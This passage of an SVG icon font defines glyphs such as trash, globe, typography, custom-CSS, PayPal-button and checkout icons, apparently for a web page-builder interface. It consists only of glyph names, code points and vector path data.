<glyph glyph-name="disable-trash-o" unicode="&#xe975;" d="M600 808c27 0 52-13 68-35l3-6 59-102h143c13 0 25-10 27-25l0-4v-28c0-15-10-27-23-29l-4 0h-28l0-516 107-93c8-8 9-21 2-30l-28-31c-7-9-21-9-29-2l-55 48c-9-35-38-61-74-64l-6 0h-499c-43 0-79 35-83 79l0 7 0 553-132 116c-8 7-9 21-2 29l28 32c7 8 21 9 29 2l51-44 142 0 58 102c14 23 38 39 65 41l6 0h175z m-337-349l0-482h499l0 48-111 96 0-36c0-11-7-20-17-22l-4 0h-41c-10 0-19 7-21 17l0 4 0 109-111 96 0-205c0-10-7-19-17-21l-4 0h-41c-10 0-19 7-21 17l0 4 0 277-111 98z m499 120h-499l0-10 111-96c1 10 8 18 17 20l4 0h42c10 0 18-7 20-17l1-4 0-71 110-96 0 167c0 11 8 19 17 21l4 1h42c10 0 19-8 20-18l1-3 0-240 111-96-1 442z m-168 144h-163c-3 0-5-2-7-3l-1-2-31-53h241l-30 53c-1 2-4 4-6 5l-3 0z" horiz-adv-x="1000" />

<glyph glyph-name="single-page" unicode="&#xe976;" d="M896 788c54 0 100-38 104-87l0-7v-688c0-50-43-90-97-93l-7-1h-792c-54 0-100 38-104 87l0 7v688c0 50 43 90 97 93l7 1h792z m0-42h-792c-33 0-59-21-62-47l0-5v-688c0-26 24-49 56-51l6-1h792c33 0 59 21 62 47l0 5v688c0 26-24 49-56 51l-6 1z m-410-542c8 0 14-6 14-14v-180c0-8-6-14-14-14h-389c-7 0-14 6-14 14v180c0 8 7 14 14 14h389z m410-166c12 0 21-10 21-21 0-11-8-19-17-21l-4 0h-333c-12 0-21 9-21 21 0 10 7 18 17 20l4 1h333z m-438 125h-333v-125h333v125z m438-42c12 0 21-9 21-21 0-10-8-19-17-20l-4-1h-333c-12 0-21 9-21 21 0 10 7 19 17 20l4 1h333z m0 83c12 0 21-9 21-21 0-10-8-18-17-20l-4 0h-333c-12 0-21 9-21 20 0 11 7 19 17 21l4 0h333z m7 500c7 0 14-6 14-14v-430c0-8-7-14-14-14h-806c-7 0-14 6-14 14v430c0 8 7 14 14 14h806z m-258-176l-165-170c-6-5-14-8-22-5l-3 2-123 72-153-139h671l-205 240z m230 135h-750v-368l190 173c6 5 14 7 21 4l4-2 122-71 170 174c7 8 19 8 28 2l3-3 212-249v340z m-625-42c35 0 63-28 63-63s-28-62-63-62-62 28-62 62 27 63 62 63z m0-42c-12 0-21-9-21-21s9-20 21-20 21 9 21 20-9 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="wordpress-light" unicode="&#xe977;" d="M500 850c276 0 500-224 500-500s-224-500-500-500-500 224-500 500 224 500 500 500z m8-541l-137-399c41-12 84-18 129-18 53 0 104 9 151 25l-143 392z m-466 41c0-177 100-331 247-407l-212 582c-23-54-35-113-35-175z m873 195l0-5 0-13c0-44-7-94-30-154l-5-14-138-398c130 81 216 225 216 389 0 70-15 135-43 195z m-415 263c-157 0-297-79-379-200l11 0 0 0 5 0c49 0 126 5 126 5 23 2 27-31 7-38l-4 0c0 0-22-2-48-4l-6-1 171-509 103 309-73 200-17 2c-18 1-32 3-32 3-24 1-23 36-1 39l4 0c0 0 71-6 118-6h13l20 0c46 2 98 6 98 6 24 1 28-32 7-38l-4-1c0 0-22-2-48-4l-6-1 170-505 48 157 15 52c12 39 20 71 20 100 0 58-20 99-38 130l-12 19c-19 30-35 59-35 91 0 39 28 77 68 82-81 70-186 112-301 112z" horiz-adv-x="1000" />

<glyph glyph-name="cogs-check" unicode="&#xe978;" d="M736 312c116 0 210-94 210-210s-94-210-210-210-210 94-210 210 94 210 210 210z m-183 496c20 0 37-14 40-34l15-100c19-9 38-20 56-33l94 38c20 7 41-1 50-18l84-145c9-18 5-39-10-51l-80-63c1-10 1-21 1-33l0-5 0 0c0-5-3-11-8-14s-10-5-15-5c-41 8-77 5-115-6-6-1-12 0-17 4s-8 10-7 15l1 7 0 0c0 98-77 175-172 175s-172-77-172-172c0-95 77-173 172-173l9 1 0 0c6 0 12-2 16-7s5-11 3-17c-7-23-10-47-10-71 0-51 15-100 44-141 4-6 5-14 1-20-3-6-9-10-17-10h-131c-20 0-37 15-39 34l-15 101c-19 8-38 20-56 33l-95-38c-19-7-40 0-49 18l-84 145c-9 17-5 39 10 51l80 63c-1 12-2 23-2 33 0 10 1 20 2 33l-80 62c-16 12-20 34-9 51l83 145c10 17 31 25 49 18l95-38c19 13 38 24 56 33l15 100c2 19 19 34 39 34h168z m183-534c-94 0-171-77-171-172s77-172 171-172 172 78 172 172-77 172-172 172z m-351 496l-17-112c-1-7-5-13-12-15-22-10-44-22-66-39-6-4-13-5-19-3l-105 42-86-146 89-72c5-4 8-10 7-17-2-15-3-28-3-39 0-11 1-24 3-39 1-6-2-13-7-17l-89-69 84-148 107 41c2 1 4 1 7 1 4 0 8-1 12-4 20-16 43-29 66-39 7-2 11-8 12-15l16-111 99-1c-22 41-33 87-33 133 0 19 2 38 6 57-110 7-196 99-196 210 0 116 94 210 210 210 111 0 203-86 210-196 28 6 56 7 85 4 0 8-1 15-2 22-1 6 2 13 7 17l89 69-84 148-107-41c-6-3-13-2-18 2-21 17-44 30-67 39-6 3-11 8-12 15l-16 111-170 2z m460-597c8-8 8-20 0-28l-133-133c-4-4-9-6-14-6s-9 2-13 6l-77 76c-7 8-7 20 0 27 8 8 20 8 27 0l63-62 120 120c8 7 20 7 27 0z" horiz-adv-x="1000" />

<glyph glyph-name="custom-css" unicode="&#xe979;" d="M896 808c55 0 100-45 104-101l0-7v-742c0-29-11-56-30-76-18-18-41-29-66-31l-8-1h-792c-55 0-100 45-104 102l0 6v742c0 57 43 104 97 108l7 0h792z m62-208h-916v-642c0-35 25-63 56-66l6 0h792c17 0 32 6 44 18 10 11 17 25 18 41l0 7v642z m-404-174c10-3 15-13 13-23l-1-4-127-323c-4-11-16-16-27-11-10 3-15 13-13 23l1 4 127 323c4 10 17 15 27 11z m-215-15c7-7 8-18 3-27l-3-3-120-120 120-120c7-7 8-18 3-26l-3-3c-7-7-18-8-26-3l-3 3-135 135c-7 7-8 18-2 26l2 3 135 135c8 8 21 8 29 0z m320 0c7 7 18 8 26 2l3-2 135-135 2-3c5-7 5-16 0-23l-2-3-135-135-3-2c-7-5-16-5-23 0l-3 2-3 3c-5 7-5 17 0 24l3 3 120 120-120 120-3 3c-5 8-4 19 3 26z m237 356h-792c-32 0-59-27-62-61l0-6v-58h916v58c0 35-25 63-56 66l-6 1z m-792-42c12 0 21-9 21-21s-9-21-21-21-21 10-21 21 10 21 21 21z m84 0c11 0 20-9 20-21s-9-21-20-21-21 10-21 21 9 21 21 21z m83 0c12 0 21-9 21-21s-9-21-21-21c-12 0-21 10-21 21s9 21 21 21z" horiz-adv-x="1000" />

<glyph glyph-name="global-colors" unicode="&#xe97a;" d="M465 469c198 216 427 328 481 270 52-56-65-266-282-444l-12-10-16-12c-37-28-88-63-153-103l-21-14c3-100-64-203-163-210-15-1-48-1-84 1l-40 3-32 2-25 3c-19 2-36 4-49 7l-9 1c-9 2-17 5-22 8l-5 2c-1 2-3 3-4 4l-2 2c-7 8-9 19-2 29l2 2 2 2c7 8 15 19 24 38l6 13 9 24 26 67 10 23c17 39 34 70 54 95 46 60 125 73 190 49l21 29c28 38 53 70 74 95l8 9 14 15z m-330-321l-13-34c-12-32-22-56-31-74l-3-7c-5-11-10-20-14-27l-4-5 5-1c9-2 21-3 34-5l21-1 12-1c26-2 55-3 81-3l19 0 24 0-3 2c-3 4-6 7-9 11l-4 5-4 7-3 5c0 3-2 5-3 9l-15 42-2 8c-7 18-14 31-20 38l-3 3-2 1c-22 17-36 24-55 26l-8 1z m199 137c-50 18-111 9-146-36-14-17-26-38-38-63 25-3 45-13 72-34l4-4c13-12 22-30 32-55l3-9c2-5 15-47 18-52 5-10 18-19 35-25l7-2 20-6 1 0c76 42 111 170 47 247l-7 8-6 6 2-2c-8 7-15 12-24 17l-9 5-11 5z m582 429c-10 5-62-4-125-34-87-42-184-116-282-220l-22-24-16-17c-16-19-33-41-53-67l-10-14-26-34c6-4 12-9 18-13l5-5 7-7c19-20 33-44 41-69l3-11 37 24 29 19c18 12 35 23 51 33l11 8 20 15 9 6 15 12c117 94 200 189 249 276 33 59 46 109 41 120l-1 1-1 1z" horiz-adv-x="1000" />

<glyph glyph-name="globe" unicode="&#xe97b;" d="M500 808c-253 0-458-205-458-458 0-253 205-458 458-458 253 0 458 205 458 458 0 253-205 458-458 458z m331-295h-124c-12 67-32 127-57 175 79-35 143-98 181-175l0 0z m-331 207c34 0 90-77 117-207h-234c27 130 83 207 117 207z m-370-370c0 25 3 50 8 74h144c-2-24-4-49-4-74s2-50 4-74h-144c-5 24-8 49-8 74z m39-162h124c12-68 32-128 57-175-79 35-143 97-181 175l0 0z m124 325h-124c38 77 102 140 181 175-25-48-45-108-57-175l0 0z m207-533c-34 0-90 77-117 208h234c-27-131-83-208-117-208z m130 296h-260c-2 24-3 48-3 74s2 50 3 74h260c2-24 3-48 3-74s-1-50-3-74z m20-263c25 47 45 107 57 175h124c-38-78-102-140-181-175l0 0z m69 263c1 24 3 49 3 74s-1 50-3 74h144c5-24 7-49 7-74s-2-50-7-74h-144z" horiz-adv-x="1000" />

<glyph glyph-name="typography-1" unicode="&#xe97c;" d="M230 663c28 0 28-41 1-42-17-1-30-3-36-6-3-1-5-3-7-7l0-3c-3-8-3-21-3-38l0-151h256l0 151c0 20-2 33-4 41-2 4-3 7-7 8-6 2-18 4-36 5-27 2-26 42 1 42h209c27 0 28-40 1-42-17-1-30-2-36-5-4-1-5-3-7-8-2-8-4-21-4-41v-434c0-20 2-33 4-41 2-4 3-7 7-8 6-2 18-4 36-5 27-1 26-42-1-42h-209c-27 0-28 41-1 42 17 1 30 2 36 5 3 1 5 4 7 8l1 3c2 8 2 21 2 38l0 155h-255l0-155c0-20 1-34 3-41 2-4 4-7 7-8 6-3 18-5 36-6 27-1 27-41-1-41h-209c-27 0-28 40-1 41 18 1 30 3 36 6 4 1 5 3 7 8 2 7 4 21 4 41v434c0 20-2 33-4 41-2 4-3 7-7 8-6 2-18 4-36 5l-4 0c-23 5-21 42 5 42h209z m648-4c13 9 30 1 32-14l1-3v-489c0-21 3-37 8-48 5-8 12-15 23-19l13-5 2-1c1 0 3 0 5 0l7-1 10 0 4 0c20-4 22-33 4-40l-4-1-4-1h-264l-4 1c-22 3-22 37 0 40l4 1 8 0c26 0 36 4 55 16 12 9 19 25 20 50l0 8v280c0 34-3 59-9 73-7 15-21 32-32 37-7 4-23 9-47 14l-8 1-19 4c-24 4-21 41 4 41 54 1 98 6 133 14 12 3 18 6 25 12l4 4 11 11c6 6 12 10 18 15z m-729-38h-47c4-13 6-31 6-54v-434l0-10c0-15-1-28-4-38l-1-6h46c-4 13-6 31-6 54v176c0 11 9 21 21 21h297c12 0 21-10 21-21v-176l0-10c0-15-2-28-4-38l-2-6h47c-4 13-6 31-6 54v434l0 10c0 16 1 28 4 38l2 6h-47c4-13 6-31 6-54v-172c0-12-9-21-21-21h-297c-12 0-21 9-21 21v172l0 10c0 16 2 28 4 38l2 6z m720-25l-1-2c-11-8-22-13-38-16-7-2-15-4-24-5l-13-3-1 0 3-2c9-8 18-18 24-29l5-9 3-7c8-18 12-44 13-78l0-12v-280c0-26-5-49-15-66l-5-6-1-1h67l-4 6c-8 15-12 34-13 57l0 11 0 442z" horiz-adv-x="1000" />

<glyph glyph-name="background" unicode="&#xe97d;" d="M896 808c55 0 100-45 104-101l0-7v-742c0-29-11-56-30-76-18-18-41-29-66-31l-8-1h-792c-55 0-100 45-104 102l0 6v742c0 57 43 104 97 108l7 0h792z m62-208h-916v-153l601-555h253c14 0 28 5 39 14l5 4c10 11 17 25 18 41l0 7v642z m-640-465l-238-238c2-1 4-2 7-3 1 0 3-1 5-1l6-1 6 0 89 0 186 186-61 57z m92-85l-158-158h118l101 101-61 57z m92-85l-73-73h118l16 16-61 57z m-276 255l-184-185v-77l0-7 0 0 1-7 2-7 2-4 1-3 0 0 2-4 238 237-62 57z m-92 85l-92-93v-118l153 154-61 57z m-91 85l-1-1v-118l62 62-61 57z m853 377h-792c-32 0-59-27-62-61l0-6v-58h916v58c0 35-25 63-56 66l-6 1z m-792-42c12 0 21-9 21-21s-9-21-21-21-21 10-21 21 10 21 21 21z m84 0c11 0 20-9 20-21s-9-21-20-21-21 10-21 21 9 21 21 21z m83 0c12 0 21-9 21-21s-9-21-21-21c-12 0-21 10-21 21s9 21 21 21z" horiz-adv-x="1000" />

<glyph glyph-name="device-responsive" unicode="&#xe97e;" d="M883 588c42 0 75-34 75-75v-442c0-41-33-75-75-75h-225c-41 0-75 34-75 75v442c0 41 34 75 75 75h225z m-8-84h-208v-425h208v425z m-85 209c40 0 73-33 74-73l0-2v-9h-658v-368h336v-139h-454c-25 0-45 20-46 44l0 2v31c0 7 6 13 13 14l0 0h79c-7 10-11 23-11 37l0 3v385c0 41 32 74 72 75l2 0h593z" horiz-adv-x="1000" />

<glyph glyph-name="device-wide" unicode="&#xe97f;" d="M632 79c8 0 14-6 14-14v-23c0-26-21-46-46-46h-200c-25 0-46 20-46 46v23c0 8 6 14 14 14h264z m245 625c44 0 81-36 81-80l0-1v-420c0-45-35-81-80-82l-1 0h-754c-44 0-81 36-81 81l0 1v420c0 44 36 81 80 81l1 0h754z m-2-83h-750v-417h750v417z" horiz-adv-x="1000" />

<glyph glyph-name="code-highlight" unicode="&#xe980;" d="M169 487c7-7 8-18 2-27l-3-2-118-118 120-127c7-7 8-18 2-26l-3-3c-7-7-19-8-26-2l-3 3-134 141c-7 7-8 18-2 26l2 3 133 132c9 8 21 8 30 0z m689 3l3-3 133-132c7-7 8-17 3-25l-3-4-134-141c-8-8-21-9-30-1-7 7-8 19-2 27l2 3 120 126-118 118c-7 7-9 18-3 27l3 3c6 6 18 7 26 2z m-169-355c10 0 19-9 19-19v-4c0-11-9-19-19-19h-378c-10 0-18 8-18 19v4c0 10 8 19 18 19h378z m-96 111c10 0 19-8 19-19v-4c0-10-9-19-19-19h-282c-10 0-18 9-18 19v4c0 11 8 19 18 19h282z m96 111c10 0 19-9 19-19v-4c0-11-9-19-19-19h-378c-10 0-18 8-18 19v4c0 10 8 19 18 19h378z m-96 111c10 0 19-8 19-19v-4c0-10-9-19-19-19h-282c-10 0-18 9-18 19v4c0 11 8 19 18 19h282z m96 111c10 0 19-8 19-19v-4c0-10-9-18-19-18h-378c-10 0-18 8-18 18v4c0 11 8 19 18 19h378z" horiz-adv-x="1000" />

<glyph glyph-name="video-playlist" unicode="&#xe981;" d="M407 473c5 2 12 3 18 0l3-1 292-188c5-4 9-10 9-17 0-6-2-12-6-16l-3-2-292-187c-3-2-8-4-11-4-4 0-7 1-10 3-6 3-9 8-11 14l0 4v375c0 8 4 15 11 19z m31-57v-299l232 149-232 150z m466 288c14 0 25-11 25-25v-17h-858v17c0 14 12 25 25 25h808z m-72 84c14 0 25-12 25-25v-17h-714v17c0 13 11 25 25 25h664z m147-876h-958c-12 0-21 10-21 21v667c0 12 9 21 21 21h958c12 0 21-9 21-21v-667c0-11-9-21-21-21z m-937 42h916v625h-916v-625z" horiz-adv-x="1000" />

<glyph glyph-name="download-kit" unicode="&#xe982;" d="M887-101h-775c-62 0-112 51-112 113v663c0 62 50 113 112 113h774c62 0 112-51 112-113v-663c1-62-50-113-111-113z m-775 846c-38 0-70-31-70-70v-663c0-39 32-70 70-70h774c39 0 70 32 70 70v663c0 39-31 70-70 70h-774z m389-527l0 0c2 0 3 0 4 1l0 0 0 0c1 1 1 1 2 1 2 1 3 2 5 3l147 127c9 7 9 21 2 30-8 8-21 9-30 2l-112-97v270c0 12-9 22-21 22-12 0-22-9-22-22v-270l-112 97c-9 7-23 6-30-2-8-9-7-23 2-30l147-127c1-1 3-2 5-3 0 0 1-1 2-1l0 0 0 0c1 0 2 0 3-1l0 0c2 0 2 0 4 0l0 0c2 0 3 0 4 0z m166-63c0 11-9 21-22 21h-295c-11 0-21-9-21-21 0-12 9-22 21-22h296c12 0 21 10 21 22z" horiz-adv-x="1000" />

<glyph glyph-name="kit-details" unicode="&#xe983;" d="M887-101h-775c-62 0-112 51-112 113v663c0 62 50 113 112 113h774c62 0 112-51 112-113v-663c1-62-50-113-111-113z m-775 846c-38 0-70-31-70-70v-663c0-39 32-70 70-70h774c39 0 70 32 70 70v663c0 39-31 70-70 70h-774z m259-126c12 0 22-9 22-21v-85c0-12-10-21-22-21h-84c-12 0-21 9-21 21v85c0 11 9 21 21 21h84z m254-85c11 0 21-9 21-21s-9-21-21-21h-169c-12 0-21 9-21 21s9 21 21 21h169z m-275 43h-42v-42h42v42z m359 42c11 0 21-9 21-21 0-12-9-22-21-22h-254c-11 0-21 9-21 22 0 11 9 21 21 21h254z m-338-211c12 0 22-9 22-21v-85c0-12-10-21-22-21h-84c-12 0-21 9-21 21v85c0 11 9 21 21 21h84z m254-85c11 0 21-9 21-21 0-12-9-21-21-21h-169c-12 0-21 9-21 21 0 12 9 21 21 21h169z m-275 42h-42v-42h42v42z m359 43c11 0 21-9 21-21s-9-22-21-22h-254c-11 0-21 10-21 22s9 21 21 21h254z m-338-211c12 0 22-9 22-22v-84c0-12-10-21-22-21h-84c-12 0-21 9-21 21v84c0 12 9 22 21 22h84z m254-84c11 0 21-10 21-22s-9-21-21-21h-169c-12 0-21 9-21 21s9 22 21 22h169z m-275 42h-42v-42h42v42z m359 42c11 0 21-9 21-22 0-11-9-21-21-21h-254c-11 0-21 9-21 21 0 12 9 22 21 22h254z" horiz-adv-x="1000" />

<glyph glyph-name="kit-parts" unicode="&#xe984;" d="M887 788c59 0 108-47 112-105l0-8v-663c0-60-46-108-105-112l-7 0h-775c-59 0-108 46-112 105v7 663c0 60 46 109 105 112l7 1h775z m-555-225h-290v-551c0-37 28-67 64-70l6-1h220v622z m625-443h-583v-178h512c37 0 67 28 70 64l1 6 0 108z m0 443h-583v-400h582v400z m-87-293c11 0 21-9 21-20 0-11-8-19-18-21l-3 0h-410c-11 0-21 9-21 21 0 10 8 18 18 20l3 0h410z m0 111c11 0 21-9 21-21 0-10-8-18-18-20l-3 0h-410c-11 0-21 9-21 20 0 11 8 19 18 21l3 0h410z m0 111c11 0 21-9 21-21 0-11-8-19-18-21l-3 0h-410c-11 0-21 9-21 21 0 10 8 19 18 20l3 1h410z m17 253h-775c-37 0-67-28-70-64v-6-70h914v70l0 6-1 4 0 0 0 4 0 0-1 4-2 6-1 2-2 5-3 6-1 3-4 4-3 4-5 5-5 3-5 4-4 2-3 2-5 2-3 1-3 1c-4 0-7 1-12 2h-6z" horiz-adv-x="1000" />

<glyph glyph-name="kit-upload" unicode="&#xe985;" d="M887-101h-775c-62 0-112 51-112 113v663c0 62 50 113 112 113h774c62 0 112-51 112-113v-663c1-62-50-113-111-113z m-775 846c-38 0-70-31-70-70v-663c0-39 32-70 70-70h774c39 0 70 32 70 70v663c0 39-31 70-70 70h-774z m407-506v271l113-97c8-8 22-7 29 2 8 9 7 23-2 30l-147 126c-1 2-3 3-4 4-1 0-2 0-3 0l0 0 0 0c-1 1-2 1-3 1l0 0c-2 0-2 1-4 1l0 0c0 0-2 0-3 0l0 0c-1 0-2-1-4-2l0 0 0 0c-1 0-1 0-2 0-1-1-3-2-4-4l-149-126c-8-7-9-21-2-30 8-9 21-10 30-2l113 97v-271c0-11 9-21 21-21 12 0 21 9 21 21z m148-84c0 11-9 21-22 21h-295c-11 0-21-9-21-21 0-12 9-22 21-22h296c12 0 21 10 21 22z" horiz-adv-x="1000" />

<glyph glyph-name="kit-plugins" unicode="&#xe986;" d="M730 262h-127v161h127c12 0 21 9 21 21s-9 21-21 21h-127v124c0 2-1 4-3 4l-20-2c-117-10-210-108-221-228h-89c-12 0-21-9-21-21 0-12 9-22 21-22h90c10-120 103-218 221-227l19-2c2 0 4 2 4 4v124h126c12 0 22 9 22 21-1 13-10 22-22 22z m-169-123c-91 19-160 104-160 204s69 184 160 203v-407z m326-240h-775c-62 0-112 51-112 113v663c0 62 50 113 112 113h774c62 0 112-51 112-113v-663c1-62-50-113-111-113z m-775 846c-38 0-70-31-70-70v-663c0-39 32-70 70-70h774c39 0 70 32 70 70v663c0 39-31 70-70 70h-774z" horiz-adv-x="1000" />

<glyph glyph-name="kit-upload-alt" unicode="&#xe987;" d="M887 788h-775c-62 0-112-51-112-113v-663c0-62 50-112 112-112h774c62 0 112 50 112 112v663c1 62-50 113-111 113z m70-776c0-39-32-70-70-70h-775c-39 0-70 31-70 70v663c0 39 32 70 70 70h774c39 0 70-31 70-70v-663z m-122 345l-2 3-65 100c-2 5-6 9-11 12l-96 37c-11 4-23-1-27-12-4-10 1-23 11-27l47-19-200-73-201 74 46 18c11 4 16 16 12 28s-16 15-27 11l-96-37c-6-2-9-7-11-12l-65-100-2-3-1-5v-2c0-3 0-6 1-8l1-5 6-7 56-20v-148c0-9 6-18 14-21l258-93c0-1 1-1 2-1l0 0 0 0c2-1 3-1 5-1 0 0 1 0 1 0s1 0 2 0c1 0 3 0 5 1l0 0 0 0c0 0 1 0 2 1l257 93c8 3 14 12 14 21v148l56 20 6 7 2 5c1 2 1 5 1 8v2l-1 5z m-635 2l42 66 218-80-42-65-218 79z m270-262l-216 79v119l166-60c2-1 4-2 7-2 7 0 13 4 18 10l25 39v-185h0z m259 79l-215-78v185l25-39c4-6 11-10 19-10 2 0 5 1 7 1l165 61v-120h-1z m-164 104l-42 65 218 79 42-65-218-79z m-171 296c-7 9-6 22 2 30l84 72c0 0 0 0 0 0 1 0 1 0 1 1 1 0 1 0 2 1 0 0 0 0 1 0 0 0 1 1 1 1 0 0 0 0 1 0s1 1 1 1c1 0 1 0 1 0 1 0 1 0 2 1 0 0 1 0 1 0 1 0 1 0 2 0s0 0 0 0 1 0 1 0 1 0 1 0 1 0 2 0c0 0 1 0 1-1 1 0 1 0 2 0 0 0 0-1 1-1s1 0 1 0c1 0 1-1 1-1 0 0 1 0 1 0 1-1 1-1 1-1 1-1 1-1 1-1 0 0 1 0 1 0l83-72c9-8 10-21 3-30-5-5-10-7-16-7-5 0-10 1-14 5l-48 41v-144c0-11-9-21-21-21-11 0-21 9-21 21v144l-49-42c-4-3-9-5-14-5-6 0-12 2-16 8z" horiz-adv-x="1000" />

<glyph glyph-name="hotspot" unicode="&#xe988;" d="M104 641c11 0 19-8 21-17l0-4c0-12-9-21-21-21h-62v-616l217 237c6 7 16 9 24 5l3-2 138-96 193 236c7 9 21 10 29 2l3-3 309-387v624h-354c-12 0-21 9-21 21 0 10 7 19 17 20l4 1 375 0c10 0 19-8 20-17l1-4v-708c0-11-8-19-17-21l-4 0h-958c-11 0-19 7-21 17l0 4v708c0 10 8 19 17 20l4 1 83 0z m529-325l-189-230c-6-7-16-9-24-6l-4 3-138 96-226-246h888l-307 383z m-279 493c104 0 188-84 188-187s-84-188-188-188-187 84-187 188 83 187 187 187z m0-41c-80 0-146-66-146-146s66-146 146-146 146 65 146 146-65 146-146 146z m0-42c11 0 19-8 21-17l0-4v-62h63c11 0 20-10 20-21 0-11-7-19-17-21l-3 0h-63v-63c0-11-9-20-21-20-10 0-19 7-20 17l-1 3v63h-62c-12 0-21 9-21 21 0 10 8 18 17 20l4 1h62v62c0 11 10 21 21 21z" horiz-adv-x="1000" />

<glyph glyph-name="paypal-button" unicode="&#xe989;" d="M535 428l291-250c7-5 9-15 6-23-3-8-11-13-19-13h-88l74-122c3-5 4-11 2-16-1-6-5-10-9-13l-94-55c-3-1-6-3-10-3-2 0-4 1-6 1-5 2-10 6-12 11l-71 141-63-63c-6-6-15-8-22-5-8 4-13 11-13 20v375c0 8 4 15 12 18 7 4 15 3 22-3z m7-61v-279l48 47c3 4 9 7 14 7 1 0 2 0 4-1 6-1 12-5 15-11l73-147 56 33-82 136c-4 6-5 14-1 21 4 7 11 11 19 11h68l-214 183z m354 400c57 0 104-47 104-104v-250c0-58-47-105-104-105h-167c-11 0-21 10-21 21s10 21 21 21h167c32 0 59 25 62 57l0 6v250c0 32-24 59-56 62l-6 0h-792c-32 0-59-25-62-57l0-5v-250c0-33 24-60 56-63l6 0h334c11 0 20-9 20-21s-9-21-20-21h-334c-57 0-104 47-104 105v250c0 57 47 104 104 104h792z m-358-185c5 0 7-3 5-7l-1-2-103-148c-1-2-4-3-6-4l-3 0h-30c-3 0-5 3-4 6l1 2 33 46-34 98c-1 4 0 7 4 9l2 0h27c4 0 6-1 8-4l1-2 19-62 43 62c2 4 4 5 7 6l3 1h28z m-238 4c15 0 28-4 33-13l2-4c2-2 3-3 3-1l1 2 1 6c0 3 2 4 3 5l2 0h29c3 0 4-1 4-5l0-3-16-102c-1-6-3-8-6-8l-2 0h-27c-3 0-4 1-4 3l0 2 0 8c1 2-1 2-3 0l-2-1c-10-10-20-16-40-16-30 0-51 24-49 55 3 40 30 71 71 72z m460 0c15 0 27-4 33-13l2-4c1-2 3-3 3-1l0 2 2 6c0 3 1 4 3 5l1 0h29c3 0 5-1 5-5l0-3-17-101c-1-6-3-8-6-9l-2 0h-27c-3 0-4 2-4 4l0 2 1 8c0 2-2 2-4 0l-1-1c-11-10-20-16-41-16-29 0-51 24-49 55 3 39 31 70 72 71z m146 55c2 0 4-1 4-3l0-1-27-170c0-2-1-3-3-4l-2 0h-30c-2 0-4 1-4 3l0 1 27 170c0 3 2 4 5 4h30z m-717 1c27 0 52-15 49-52-5-43-28-67-65-67h-31c-5 0-7-4-8-11l-6-39c-1-6-5-9-9-9h-29c-5 0-7 3-6 10l24 157c2 8 5 11 10 11h71z m460 0c27 0 51-15 48-52-4-43-27-67-64-67h-32c-5 0-7-4-8-11l-6-39c-1-6-4-9-9-9h-29c-5 0-6 3-6 10l25 158c1 8 4 11 10 11h71z m-344-88c-17 0-34-14-36-31-3-18 9-32 27-32 17 0 34 14 37 32 2 17-10 31-28 31z m460 0c-17 0-34-14-37-31-2-18 10-32 27-32 18 0 35 14 37 32 3 17-9 31-27 31z m-594 53l-23 0-8-50h25l4 1c13 2 21 12 22 29 1 12-7 20-20 20z m460 0l-23 0-8-50h24c15 1 26 11 26 30 1 12-7 20-19 20z" horiz-adv-x="1000" />

<glyph glyph-name="shape" unicode="&#xe98a;" d="M740 317c115 0 208-94 208-209s-93-208-208-208-209 93-209 208 94 209 209 209z m-461-7l174-127c12-8 17-23 12-36l-66-222c-4-14-17-23-32-23h-215c-14 0-27 9-32 23l-67 222c-4 13 1 28 12 36l175 127c12 9 28 9 39 0z m461-35c-92 0-167-75-167-167s75-166 167-166 166 74 166 166-74 167-166 167z m-480-2l-165-120 63-210h203l63 210-164 120z m155 502c18 0 33-14 33-32l0-1v-309c0-18-14-33-33-33l0 0h-309c-18 0-33 14-33 33l0 0v309c0 18 14 33 32 33l1 0h309z m353 7l0-1 174-332c12-22-4-48-28-49l-1 0h-348c-25 0-41 26-30 48l0 1 174 332c12 23 45 24 58 2l1-1z m-362-49h-291v-291h291v291z m333 15l-161-306h321l-160 306z" horiz-adv-x="1000" />

<glyph glyph-name="wordart" unicode="&#xe98b;" d="M208 303l9-5 588-337c41-24 66-21 79-14 13 7 20 22 19 39-1 12 8 22 20 23 12 1 22-8 23-20 2-30-11-63-41-79-31-17-73-13-121 14l-588 337c-41 24-66 21-79 14-13-7-20-22-19-39 1-12-8-22-20-23-12-1-22 8-23 20-2 30 11 63 41 80 27 14 63 13 104-6l8-4z m655 493l41-23c11-7 16-19 14-32l-107-605c-3-12-4-22-5-31 0-8 1-14 3-19 1-1 1-3 3-5 4-6 11-13 22-20 8-6 11-17 6-26-5-9-17-12-26-7l-201 116c-9 6-12 17-7 26 5 10 17 13 26 8l21-13c8-5 15-6 20-5 5 2 10 5 13 11 4 6 6 12 7 19l33 180c1 4-1 8-4 10l-182 105c-4 2-7 2-10-1l-142-121c-7-7-11-12-13-15-3-5-4-10-2-13 1-5 5-10 14-15l19-12c9-5 12-17 7-26-5-9-17-12-26-7l-133 77c-9 6-12 17-7 26 5 10 17 12 26 8 10-5 17-8 24-9l3 0 0 0c7-1 13 0 18 2l5 2c8 4 17 10 29 19l7 6 469 388c10 8 24 9 35 2z m-19-48l-15-13c-1 0-1 0 0-1 5-3 8-9 6-14l-66-370-1 0-31-172c-2-10-7-20-12-30-2-4-5-8-9-12l44-26c1 11 3 23 5 35l105 588c0 3-2 7-5 9l-12 7c-2 2-6 1-9-1z m-57-46l-207-177c-5-4-4-11 1-14l144-83c6-3 13 0 13 6l49 268z" horiz-adv-x="1000" />

<glyph glyph-name="checkout" unicode="&#xe98c;" d="M601-75c16 0 29-13 29-29s-13-29-29-29-29 13-29 29 13 29 29 29z m104 0c16 0 29-13 29-29s-13-29-29-29-29 13-29 29 13 29 29 29z m-238 300c21 0 38-10 51-27 6-10 12-20 16-30h241c18 0 33-15 33-34 0-3 0-6-2-10l-51-164c-4-13-17-23-31-23h-139c-15 0-27 10-32 24l-54 180c-4 12-9 22-16 33-5 6-10 9-17 9-11 0-21 10-21 21s10 21 22 21z m296-99h-215l44-147h126l45 147z m95 682c55 0 100-37 100-85v-580c0-33-23-63-57-77-7-3-15-5-22-6l-6-1-14-1 0 0c-12 0-21 9-22 20 0 12 8 22 20 22l9 0 6 1c5 1 9 2 14 4 19 8 31 23 31 38v580c0 23-25 44-59 44h-716c-33 0-59-21-59-44v-580c0-23 26-43 59-43h306c12 0 21-10 21-21s-9-21-21-21h-306c-54 0-100 37-100 86v579c0 48 46 85 100 85h716z m-129-125c33 0 59-24 62-56l1-6v-250c0-33-25-59-57-62l-6-1h-458c-33 0-59 25-62 57l-1 6v250c0 32 25 59 57 62l6 0h458z m21-166h-500v-146c0-11 8-19 17-21l4 0h458c11 0 19 8 21 17l0 4v146z 